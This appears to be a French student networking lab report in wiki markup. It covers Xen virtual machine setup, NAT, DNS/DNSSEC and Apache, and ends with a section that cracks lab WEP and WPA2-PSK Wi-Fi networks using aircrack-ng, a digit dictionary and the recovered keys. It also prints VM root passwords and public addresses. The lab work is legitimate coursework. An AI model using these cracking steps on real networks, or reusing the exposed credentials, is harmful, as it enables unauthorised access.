==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
